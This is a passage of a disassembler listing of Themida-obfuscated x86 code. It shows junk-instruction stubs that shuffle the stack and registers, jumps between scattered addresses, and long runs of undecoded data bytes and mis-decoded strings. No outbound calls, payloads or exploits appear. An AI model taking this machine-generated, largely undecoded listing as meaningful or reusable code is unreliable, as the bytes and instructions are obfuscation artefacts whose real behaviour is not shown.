		push	0F85279Eh
		jmp	loc_5600EE
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 1CBEE924h, 0E9520000h, 43Dh,	347DEB81h, 515D73DCh, 2531E9h
		db 0
; ---------------------------------------------------------------------------

loc_563475:				; CODE XREF: Themida_:005530B5j
		sub	dh, ah
		mov	eax, [esp]
		jmp	loc_559D68
; ---------------------------------------------------------------------------
		db 81h
		dd 0FF215BC1h, 3286E912h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56348A:				; CODE XREF: Themida_:00556258j
		mov	esi, 46B3129Ch
		jmp	loc_553519
; ---------------------------------------------------------------------------
		dd 0F65BDD00h, 53FD86D5h, 12454F6h, 30FD305Bh, 80FD30EFh
		dd 5366ACE5h, 0DD0047B3h, 61045B66h, 612CE828h,	83240C8Bh
		dd 0B2C04C4h, 0D800632Ch, 0B046304h, 44E95366h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5634CF:				; CODE XREF: Themida_:0056435Bj
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_563E3C
; ---------------------------------------------------------------------------
		db 0BBh, 1, 13h
		dd 44815601h, 239E0424h, 77E93F8Bh, 5AFFFFA4h, 81E18951h
		dd 4C1h, 4E98100h, 33000000h, 0C31240Ch, 240C3324h, 0FF3996E9h
		dd 0C8015BFFh, 0FF03A4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563515:				; CODE XREF: Themida_:0055F17Bj
		mov	[esp], edi
		mov	edi, 180D4F22h
		mov	edx, 180D4F26h
		sub	edx, edi
		jmp	loc_567F61
; ---------------------------------------------------------------------------

loc_563529:				; CODE XREF: Themida_:0055A654j
		add	ebp, ecx
		pop	ecx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		xor	ecx, 6240489Fh
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_557E6F
; ---------------------------------------------------------------------------

loc_563546:				; CODE XREF: Themida_:005536D9j
		add	ecx, 0A47DD985h
		add	ebp, 6A7576F4h
		add	ebp, ecx
		jmp	loc_55672F
; ---------------------------------------------------------------------------
		db 50h,	0B4h, 0A4h
		dd 0EC80D4F6h, 0DDE48069h, 80FFEC80h, 0E32828C4h, 0E9C32858h
		dd 0FFFF2190h, 3D0A04BEh, 4ED6F70Ch, 0E905EEC1h, 436Bh
; ---------------------------------------------------------------------------

loc_563584:				; CODE XREF: Themida_:005658A7j
		jnz	loc_559F74
		push	5ECBh
		jmp	loc_55DD3D
; ---------------------------------------------------------------------------

loc_563594:				; CODE XREF: Themida_:0055AD5Aj
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_561B28
; ---------------------------------------------------------------------------
		dd 0B652E828h, 0FAEE8042h, 0C0C3CE80h, 0C6FE06E6h, 8003EEC0h
		dd 0C680E3F6h, 76F6800Ch, 0C680CEFEh, 0D03E97Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5635D2:				; CODE XREF: Themida_:00561DBFj
		add	edi, ebp
		push	esi
		mov	esi, 2FD8397Bh
		inc	esi
		xor	esi, 7DED365Bh
		or	esi, 7EE6491Ah
		jmp	loc_5585CD
; ---------------------------------------------------------------------------
		dd 68h,	2A47E900h, 0C681FFFFh, 419A0108h, 37F5BD55h, 0EE0948D5h
		dd 58D8E95Dh, 814DFFFFh, 1E1455EDh, 0F007E975h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563616:				; CODE XREF: Themida_:00553F23j
		mov	edx, 74E91729h
		jmp	loc_556353
; ---------------------------------------------------------------------------
aIISsc		db '‰Í‰êé™C',0
		dd 7A686600h, 0C896650h, 0B60F6624h, 9C5166C8h,	0FEFA68E9h
		dd 55E189FFh, 2310BB53h, 0F4BD782Bh, 0E987D4DCh, 0FFFF2ACFh
		dd 6D096853h, 14890000h, 8626E924h, 0D9F6FFFFh,	28B75366h
		dd 0FF4652E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563669:				; CODE XREF: Themida_:005617BEj
		push	esi
		inc	dword ptr [esp]
		jmp	loc_564AC0
; ---------------------------------------------------------------------------

loc_563672:				; CODE XREF: Themida_:00565E9Dj
		sub	esi, ebp
		pop	ebp
		add	ecx, esi
		jmp	loc_563FB6
; ---------------------------------------------------------------------------
		dd 0E9240489h, 0FFFFD3DCh
; ---------------------------------------------------------------------------

loc_563684:				; CODE XREF: Themida_:005554A6j
		mov	edi, 20AF0AE0h
		jmp	loc_5638DC
; ---------------------------------------------------------------------------

loc_56368E:				; CODE XREF: Themida_:00555978j
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_557D87
; ---------------------------------------------------------------------------
		dd 92C5814Dh, 2942B1EDh, 0BA525DEEh, 62D25D2Fh,	2414F752h
		dd 48E9505Ah
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5636BB:				; CODE XREF: Themida_:0055E77Ej
		push	esi
		mov	esi, 49673F95h
		jmp	loc_55D67B
; ---------------------------------------------------------------------------

loc_5636C6:				; CODE XREF: Themida_:0055BCB0j
		mov	[esp], ebp
		mov	ebp, 0A65488A3h
		xor	esi, ebp
		pop	ebp
		or	ecx, esi
		pop	esi
		shl	ecx, 3
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 757E45D5h
		jmp	loc_566708
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924248Bh, 0FFFEF9B5h, 9D1C77FFh, 1CD25966h, 0ADE99C24h
		dd 1FFFFB2h, 0B2EA81EAh, 5D3DDC09h, 8B241487h, 30FF2424h
		dd 0FEF990E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563715:				; CODE XREF: Themida_:0055402Fj
		pop	edx
		add	edx, 4
		push	ebp
		mov	ebp, 4
		sub	edx, 15371617h
		jmp	loc_55E2AA
; ---------------------------------------------------------------------------

loc_56372D:				; CODE XREF: Themida_:0055B29Ej
		push	28h
		pop	ebx
		add	ebx, 50462BF4h
		add	ebx, edi
		jmp	loc_563DE8
; ---------------------------------------------------------------------------
		dd 4240481h, 0E9000000h, 1040h,	2C3815Eh, 81700956h, 6BEC1EEBh
		dd 0E78CE9FCh, 74FFFFFFh, 3C8B0424h, 4C48324h, 31E3E9h
		db 0
; ---------------------------------------------------------------------------

loc_56376D:				; CODE XREF: Themida_:00568B54j
		push	ebp
		jmp	loc_55575B
; ---------------------------------------------------------------------------
		db 66h
		dd 0E92BB151h, 0FFFF1D4Ah
; ---------------------------------------------------------------------------

loc_56377C:				; CODE XREF: Themida_:0055F796j
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_55F945
; ---------------------------------------------------------------------------
		db 5Eh,	5Fh, 55h
		dd 946ED4BDh, 39A5E918h, 0E950FFFFh, 24C1h, 81242489h
		dd 42404h, 685B0000h, 6F31h, 83243C89h,	148904ECh, 458BA24h
		dd 0C2814F20h, 797F0E48h, 0F705E2C1h, 0FBEA81D2h, 89EC1DABh
		dd 0FB015AD7h, 0FFA729E9h, 8B665AFFh, 0C4812404h, 2, 308AB450h
		dd 23E8E9E3h, 0C009FFFFh, 44F3840Fh, 22680000h,	8900007Ah
		dd 0F968241Ch, 8900007Ah, 41E9242Ch, 81FFFF61h,	292830EAh
		dd 1D99E97Dh, 82E90000h
		db 0F8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_563823:				; CODE XREF: Themida_:0056636Aj
		xor	dl, bl
		jmp	loc_55E024
; ---------------------------------------------------------------------------
		dw 5954h
		dd 0AD41E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563832:				; CODE XREF: Themida_:00557D82j
		xchg	ebx, edx
		sub	edx, 59874D41h
		mov	ecx, edx
		pop	edx
		xchg	edx, ecx
		not	edx
		xchg	edx, ecx
		shr	ecx, 2
		inc	ecx
		push	eax
		jmp	loc_55929B
; ---------------------------------------------------------------------------
		db 66h,	0Fh, 0B6h
		dd 59C56802h, 4890000h,	339F6824h, 2C890000h, 815D5424h
		dd 4C5h, 5027E900h, 0C383FFFFh,	5DC6E904h, 2AE9FFFFh, 53FFFEF8h
		dd 42474FFh, 5B2434FFh,	0E904C483h, 309Fh, 5A2434FFh, 8104C483h
		dd 4C4h, 24048F00h, 0F9F7665Ch,	328EE9h, 81E28900h, 4C2h
		dd 2EA8100h, 87000000h,	89E92414h, 81FFFF30h, 4C4h, 0ACA2E900h
		dd 1C89FFFFh, 73056824h, 0F75B6A08h, 0D2E381D3h, 0E9311722h
		dd 2FBAh
; ---------------------------------------------------------------------------

loc_5638DC:				; CODE XREF: Themida_:00563689j
		add	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	dword ptr [esp+4], 7F80595Bh
		add	dword ptr [esp+4], 76E452FDh
		sub	[esp+4], edi
		sub	dword ptr [esp+4], 76E452FDh
		sub	dword ptr [esp+4], 7F80595Bh
		pop	edi
		push	4DC2h
		mov	[esp], eax
		mov	eax, 5A170BC7h
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		add	dword ptr [esp], 86113E1h
		sub	[esp], eax
		jmp	loc_555011
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 5F1A6EAFh, 17E2C281h, 0FA297A42h, 17E2EA81h,	15F7A42h
		dd 0AFC281DAh, 8B5F1A6Eh
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	4735h
		jmp	loc_562798
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 68672205h, 0A9A1D7BDh, 5147E9C0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563982:				; CODE XREF: Themida_:005679FEj
		push	ebp
		mov	ebp, 3D8C015Dh
		sub	ebx, ebp
		mov	ebp, [esp]
		push	ebx
		jmp	loc_56217D
; ---------------------------------------------------------------------------
		db 31h
		dd 240C8BCBh, 328DE9h, 52575500h, 6714BB53h, 0E94B41F6h
		dd 0FFFF4A62h, 4C2835Eh, 31241433h, 14332414h, 24248B24h
		dd 0FEF6E4E9h, 0E9E289FFh, 0FFFF917Eh, 1E7BEA81h, 0E4E9634Fh
		dd 53FFFF50h, 0E4E9E389h, 1FFFF51h, 76942DF8h, 0BF573AFDh
		dd 3BE010EFh, 2704C781h, 33E962C5h, 100004Eh, 0E5E955C2h
		db 2Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5639FB:				; CODE XREF: Themida_:00558385j
		push	esi
		jmp	loc_553C35
; ---------------------------------------------------------------------------
		db 2Ch,	1Dh, 4
		dd 0E9D800ABh, 28D8h
; ---------------------------------------------------------------------------

loc_563A0C:				; CODE XREF: Themida_:0056731Ej
		mov	esi, 1
		jmp	loc_55DC98
; ---------------------------------------------------------------------------

loc_563A16:				; CODE XREF: Themida_:00560780j
		mov	[esp], ebp
		push	181h
		jmp	loc_5600D5
; ---------------------------------------------------------------------------
		db 81h
		dd 1B28D4C3h, 0CFDFE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563A2E:				; CODE XREF: Themida_:0055A127j
		shl	dl, 4
		push	eax
		mov	al, 2Ah
		dec	al
		shr	al, 4
		or	al, 0EBh
		and	al, 2Ah
		sub	al, 83h
		and	dl, al
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_55EF8D
; ---------------------------------------------------------------------------
a_LBl		db '_)L$',8,'l$',8,'Ñ(',0
		dd 8A63E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563A62:				; CODE XREF: Themida_:00564FFDj
		mov	esp, [esp]
		or	[esp], ax
		pushf
		jmp	loc_5530A5
; ---------------------------------------------------------------------------
aYssef		db 'YSéEF',0
		align 2
		dw 6855h
		dd 525639F6h, 7E5C15Dh,	0FAFCED81h, 0A2E92B1Ch
		db 38h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563A8B:				; CODE XREF: Themida_:00554EC2j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_562E4B
; ---------------------------------------------------------------------------
		db 0F6h, 0D1h, 0FEh
aAsd		db 'É€é„',0
		db 0C8h, 0E9h, 3Bh
		dd 83FFFF52h, 0C38104C4h, 4, 4313BA52h,	0EAC16E62h, 81D2F702h
		dd 9890C9C2h, 0FFD3011Bh, 835A2434h, 0EC8104C4h, 4, 0FF241C89h
		dd 0E9042474h, 0FFFF35D5h, 0FFFFC781h, 0E7C1FFFFh, 7DC78107h
		dd 8166E52Eh, 23C179F7h, 8BFA0116h, 0C483243Ch,	4382E904h
		dd 8BBEFFFFh, 8167F85Ah, 7A579C6h, 5EF50198h, 5E3968h
		dd 240C8900h, 0E56EC868h, 40E95939h, 89FFFFDFh,	4C581E5h
		dd 81000000h, 4EDh, 9A52E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563B36:				; CODE XREF: Themida_:005592CCj
		pop	eax
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5588D0
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 5B000000h,	0C8E96CB3h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563B5B:				; CODE XREF: Themida_:005581F3j
		push	ecx
		push	edx
		mov	edx, 74186E58h
		mov	ecx, 0FDD7A2D6h
		add	ecx, edx
		pop	edx
		dec	ecx
		push	edx
		mov	edx, 64D0336Ah
		sub	edx, 3F03C130h
		add	ecx, 13EC1E91h
		add	ecx, 5683D2Eh
		sub	ecx, 4962839h
		sub	ecx, edx
		add	ecx, 4962839h
		push	edx
		jmp	loc_55727B
; ---------------------------------------------------------------------------
		db 50h
		dd 0FC80E99Ch, 0E1C1FFFFh, 22C18106h, 0C1651B2Eh, 0E9C108E9h
		dd 258CE908h, 74FFFFFFh, 8F5D0424h, 248B2404h, 24042024h
		dd 93BAE99Ch, 489FFFFh,	21A5B824h, 0D0F75AB0h, 500DD0F7h
		dd 0C17CF649h, 353505E8h, 290A88C1h, 4441E9C3h,	465BFFFFh
		dd 8A8AC681h, 0F001DFD4h, 5724348Bh, 11E9E789h,	1000012h
		dd 0CB83E9C6h, 0F181FFFFh, 2B553A39h, 0C8BCE89h, 59F6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563C12:				; CODE XREF: Themida_:00568BB8j
		add	ebx, 747701D0h
		push	ebp
		push	30AAh
		mov	[esp], eax
		mov	eax, 4ED41702h
		xor	eax, 1AD41DCEh
		sub	eax, 32690B90h
		push	1EB5h
		jmp	loc_55BCE6
; ---------------------------------------------------------------------------
		dw 5A54h
		dd 4C281h, 0E9550000h, 0FFFF8866h, 0E924048Fh, 0FFFF4D3Ch
		dd 240C8B66h, 34FF5456h, 89505E24h, 405E0h, 0C0830000h
		dd 24048704h, 0FFCABFE9h, 0A9EE81FFh, 111EF70h,	0CCD7E9D6h
		dd 0FB29FFFFh, 0FF773AE9h, 76E941FFh
		db 34h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563C87:				; CODE XREF: Themida_:0055CC20j
		xor	ebp, edx
		pop	edx
		push	3393h
		mov	[esp], ebp
		xor	dword ptr [esp], 4142430h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55BB02
; ---------------------------------------------------------------------------
		db 31h
		dd 0A1E959CDh, 81FFFF3Ah, 4C6h,	4EE8100h, 0E9000000h, 4A33h
; ---------------------------------------------------------------------------

loc_563CC0:				; CODE XREF: Themida_:00562A23j
		mov	edx, esp
		add	edx, 4
		jmp	loc_555CE4
; ---------------------------------------------------------------------------
		db 0BDh, 2, 0
		dd 0E9010000h, 52242C8Bh, 0FFA415E9h, 4C483FFh,	5C240C87h
		dd 68C8B60Fh, 4E8Bh, 0E9240C89h, 0FFFEF3B1h, 81243C8Bh
		dd 4C4h, 4BB5300h, 1000000h, 241C8BDFh,	0FF4FAFE9h, 5EF789FFh
		dd 0EB07BCBDh, 4FAE93Ch, 1C87FFFFh, 4895C24h, 4BF5724h
		dd 53000000h, 89E9FB89h, 83FFFF58h, 48704C0h, 6AE95C24h
		dd 89FFFEF3h, 76EEE9E3h, 0E95FFFFFh, 0FFFFA52Fh, 9D1C77FFh
		dd 1CD35966h, 4EE99C24h, 8BFFFEF3h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5576F5
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 7944BB53h, 53E90DFAh, 28FFFFCAh, 8FB5E9C8h, 5095FFFFh
		dd 58240CFFh, 33ED8195h, 50FD07A8h, 89128AB8h, 0A0C58157h
		dd 292DC362h, 0A0ED81C5h, 582DC362h, 0FF6489E9h, 242C8BFFh
		dd 0F704C483h, 10F281D2h, 0E91BBEF6h, 0FFFF09C1h, 5305E7C1h
		dd 480C5BBBh, 5BDF212Fh, 8107E7C1h, 40004F7h, 8BFB0180h
		dd 5451243Ch, 0E9240C8Bh, 0FFFF2B2Ch, 4200E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_563DDA:				; CODE XREF: Themida_:0055F3ABj
		push	edi
		mov	edi, 57813FF8h
		shr	edi, 6
		jmp	loc_560C77
; ---------------------------------------------------------------------------

loc_563DE8:				; CODE XREF: Themida_:0056373Bj
		sub	ebx, 50462BF4h
		push	dword ptr [ebx]
		push	edx
		push	89C2C96h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	[esp+4], edx
		pop	edx
		pop	eax
		jmp	loc_564007
; ---------------------------------------------------------------------------
a1Hsb		db '1ØhèB',0
		align 2
		dw 0C89h
		dd 182A6824h, 0C7E90000h, 89FFFEFBh, 4C581E5h, 81000000h
		dd 4C5h, 242C8700h, 1567E95Ch, 0E950FFFFh, 49A3h
; ---------------------------------------------------------------------------

loc_563E3C:				; CODE XREF: Themida_:005634D8j
		pop	ecx
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_55E5F1
; ---------------------------------------------------------------------------
		db 0B2h, 63h, 80h
		dd 0C280CFF2h, 0D290E91Ah, 0B951FFFFh, 64D56E3Fh, 0E959CF29h
		dd 0FFFF05E5h
; ---------------------------------------------------------------------------

loc_563E6C:				; CODE XREF: Themida_:005668FDj
		push	3D05h
		jmp	loc_558FA3
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0D1E95504h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563E7F:				; CODE XREF: Themida_:00559F1Fj
		add	esp, 4
		add	ebp, 3E635751h
		sub	ebp, edi
		push	edx
		mov	edx, 3E635751h
		sub	ebp, edx
		pop	edx
		push	ebx
		mov	ebx, 71126209h
		dec	ebx
		jmp	loc_5612E1
; ---------------------------------------------------------------------------

loc_563EA2:				; CODE XREF: Themida_:00556CFFj
		sub	ebp, 4
		jmp	loc_564D7E
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 0FF230BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563EB5:				; CODE XREF: Themida_:0056875Ej
		and	esi, 422008D3h
		add	esi, 35467C55h
		jmp	loc_5591A7
; ---------------------------------------------------------------------------

loc_563EC6:				; CODE XREF: Themida_:0055C2B8j
		mov	ebx, 33240F3h
		add	ebx, 33097724h
		shr	ebx, 8
		shl	ebx, 4
		add	ebx, 0FC9C4484h
		add	edx, 5BAE11C6h
		add	edx, ebx
		sub	edx, 5BAE11C6h
		pop	ebx
		push	ebp
		push	4
		pop	ebp
		jmp	loc_568103
; ---------------------------------------------------------------------------
		dd 5C243433h, 8B24048Fh, 4892424h, 2434FF24h, 0FF7299E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563F0D:				; CODE XREF: Themida_:0055C2D9j
		push	ebx
		mov	ebx, 744C6EC7h
		mov	ecx, 0D8DBB89Eh
		add	ecx, ebx
		pop	ebx
		add	ecx, 0B2D7D89Fh
		add	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	edi
		push	esp
		pop	edi
		jmp	loc_55F22A
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 0D36E957h, 0EC83FFFFh, 240C8904h, 64409068h,	240C8B05h
		dd 0E9E18951h, 0FFFF769Fh, 52243C8Bh, 0FFA4EAE9h, 4C083FFh
		dd 5C240487h, 83241C8Bh, 2C3304C4h, 6EA3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563F7E:				; CODE XREF: Themida_:005597FDj
		pop	eax
		add	esp, 4
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5530A5
; ---------------------------------------------------------------------------
		db 0FFh
		dd 2C813C77h, 0CE268424h, 6527E908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563F9E:				; CODE XREF: Themida_:0055739Ej
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, 62550775h
		push	edi
		mov	edi, 3A0A74D3h
		push	eax
		jmp	loc_56269D
; ---------------------------------------------------------------------------

loc_563FB6:				; CODE XREF: Themida_:00563677j
		mov	esi, [esp]
		add	esp, 4
		add	ecx, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		jmp	loc_554D68
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 4C4h, 9706800h, 34890000h, 1BB16824h, 24890000h, 4BB5324h
		dd 1000000h, 5B04245Ch,	8124348Bh, 4C4h, 6EE95300h
		db 0F9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_564007:				; CODE XREF: Themida_:00563E06j
		push	ecx
		mov	ecx, 89C2C96h
		add	eax, ecx
		pop	ecx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		push	esi
		jmp	loc_5645F7
; ---------------------------------------------------------------------------
		db 0BAh, 2, 0BFh
		dd 0EE81E531h, 27DA235Ah, 3E0AEE81h, 0D62942E9h, 3E0AC681h
		dd 0C68142E9h, 27DA235Ah, 5A2434FFh, 81E28952h,	4C2h, 4C28100h
		dd 87000000h, 515C2414h, 1D7C84B9h, 0EB24E92Dh,	0FF66FFFFh
		dd 0F03BE932h, 0C681FFFEh, 801BE628h, 0FF28F7E9h, 0E9D6B1FFh
		dd 0FFFFA1C2h, 13DCE281h, 0F7924350h, 0A8E992D8h
		db 6Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56408B:				; CODE XREF: Themida_:00567BADj
		sub	ch, 0FDh
		shl	ch, 8
		xor	ch, 8Dh
		add	dh, ch
		pop	ecx
		dec	dh
		push	ecx
		mov	cl, 5Bh
		not	cl
		or	cl, 3
		shl	cl, 6
		shl	cl, 1
		dec	cl
		xor	cl, 86h
		xor	dh, cl
		pop	ecx
		jmp	loc_561BBA
; ---------------------------------------------------------------------------
		db 1
		dd 0C335AD1h, 240C3124h, 0FF0E73E9h, 1A6CBBFFh,	0EB833370h
		dd 0C9EB8101h, 0E9108E50h, 0FFFF7C1Fh, 68682C59h, 0D4Dh
		dd 89243C89h, 4C781E7h,	83000000h, 6DE902EFh
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5640EF:				; CODE XREF: Themida_:0055B4A8j
		add	eax, 4F482F44h
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebx, 0EAC1F192h
		add	ecx, ebx
		pop	ebx
		jmp	loc_55E318
; ---------------------------------------------------------------------------
		db 0B2h, 0F8h, 80h
		dd 0D3285CEBh, 665CC380h, 0B6C3805Ah, 800EEB80h, 0D6E9D3EBh
		dd 3000000Ch, 805B66D8h, 0C3289BEBh, 7888E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564136:				; CODE XREF: Themida_:005552C4j
		push	3FE10EAAh
		pop	ebp
		push	6E13h
		jmp	loc_5555C7
; ---------------------------------------------------------------------------

loc_564146:				; CODE XREF: Themida_:00556C30j
		add	ecx, 5BB253B1h
		pop	eax
		add	ecx, 4
		jmp	loc_55B282
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 1Eh
		dd 179F04Dh, 0ECD1E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564162:				; CODE XREF: Themida_:0055BB88j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	77ECh
		mov	[esp], edx
		mov	edx, esp
		push	ebp
		jmp	loc_55D32D
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0E2C004E2h, 5EAC007h, 289CC280h, 0CA345AD0h,	0E958C508h
		dd 0FFFF3112h
; ---------------------------------------------------------------------------

loc_564198:				; CODE XREF: Themida_:00556AADj
		shr	eax, 4
		add	eax, 7362DB58h
		sub	ebx, 25A72FCBh
		sub	ebx, eax
		add	ebx, 25A72FCBh
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_564815
; ---------------------------------------------------------------------------

loc_5641C3:				; CODE XREF: Themida_:0055B351j
		pop	ebx
		inc	ebx
		add	ebx, 0C29DF3C5h
		jmp	loc_55D598
; ---------------------------------------------------------------------------
		dd 0D3F280h, 24148BD0h,	3EE9h, 555F5900h, 1232E9h, 24248B00h
		dd 9C240430h, 0FEEEB4E9h, 5BB951FFh, 31147433h,	0F88959CFh
		dd 7378355Fh, 0BCE9422Eh, 8100001Bh, 875F5BE2h,	35C2815Ah
		dd 31AB538Ah, 48E95AD3h, 83FFFFAFh, 1F0404C4h, 4EC81h
		dd 0C890000h, 0E97CB124h, 0FFFFD5A6h, 0E94077FFh, 0FFFEEE6Dh
		dd 2EFFBD55h, 0EA890C96h, 5AD7015Dh, 0FFE13AE9h, 2DD001FFh
		dd 64D345C8h, 615FFB05h, 38B42D0Ch, 148B7C87h, 4C48124h
		dd 68000000h, 458Fh, 89240C89h,	4BE56E1h, 1000000h, 0EC815EF1h
		dd 4, 0FF3395E9h, 0E9D931FFh, 0FFFF0267h, 1C8BD909h, 4C48124h
		dd 68000000h, 6DA8h, 68241C89h,	1EB91302h, 0FF48A1E9h
		dd 55B050FFh, 0C8FEC0FEh, 65F268h, 241C8900h, 0CBE90DB7h
		dd 1FFFEEFh, 8104246Ch,	8904246Ch, 0E9062A72h, 0FFFF0FC1h
		dd 51242C8Bh, 0FFECC3E9h, 0E9F028FFh, 0FFFFB3D0h, 5E9DE00h
		dd 0BE000018h, 2, 86141C05h, 2F83056Ah,	1FE92342h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5642F7:				; CODE XREF: Themida_:00567C8Aj
		sub	ebx, 401E49B9h
		pop	ebp
		sub	ebx, 25067ED9h
		add	ebx, eax
		add	ebx, 25067ED9h
		jmp	loc_559BD3
; ---------------------------------------------------------------------------

loc_564311:				; CODE XREF: Themida_:005534CDj
		push	edx
		mov	edx, 5EF606A3h
		push	edx
		not	dword ptr [esp]
		pop	edx
		shr	edx, 4
		inc	edx
		jmp	loc_55DCDB
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 1
		dd 50000000h, 0FF63B7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564331:				; CODE XREF: Themida_:00561B84j
		shl	edi, 5
		push	ecx
		mov	ecx, 34297172h
		sub	edi, ecx
		pop	ecx
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esi, 5EE831CDh
		add	esi, ecx
		push	ebp
		mov	ebp, 5EE831CDh
		add	esi, ebp
		mov	ebp, [esp]
		jmp	loc_5634CF
; ---------------------------------------------------------------------------
		dd 0C1FFEA83h, 8E907EAh
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56436B:				; CODE XREF: Themida_:00555288j
		pop	esp
		jmp	loc_553489
; ---------------------------------------------------------------------------

loc_564371:				; CODE XREF: Themida_:00565E55j
		and	ch, 49h
		and	ch, 0DFh
		push	edx
		push	ebx
		mov	bl, 81h
		mov	dh, bl
		pop	ebx
		push	edx
		jmp	loc_55A11C
; ---------------------------------------------------------------------------

loc_564384:				; CODE XREF: Themida_:005576AAj
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5622B6
; ---------------------------------------------------------------------------
		db 81h
		dd 0AC65FEEAh, 57EA011Dh, 0AC65FEBFh, 5FFA011Dh, 501A685Dh
		dd 14890000h, 2474FF24h, 0FD32E904h, 0B951FFFEh, 1F272A6Eh
		dd 62C4E181h, 0F1810FD5h, 164045D0h, 537DBE56h,	0C6816B4Ch
		dd 6F0B6864h, 22E95346h
		db 52h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5643D7:				; CODE XREF: Themida_:00565E76j
		mov	[esp], edi
		mov	edi, 0
		sub	edi, eax
		push	edi
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_56850E
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 3304C483h, 14312414h, 7ACE924h, 348BFFFFh, 4C48124h
		dd 0E9000000h, 0FFFFD2CDh
; ---------------------------------------------------------------------------

loc_564410:				; CODE XREF: Themida_:0055A698j
		mov	edx, esp
		jmp	loc_560FA8
; ---------------------------------------------------------------------------
		db 64h
		dd 86E90288h
		db 0ECh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56441F:				; CODE XREF: Themida_:0056037Dj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
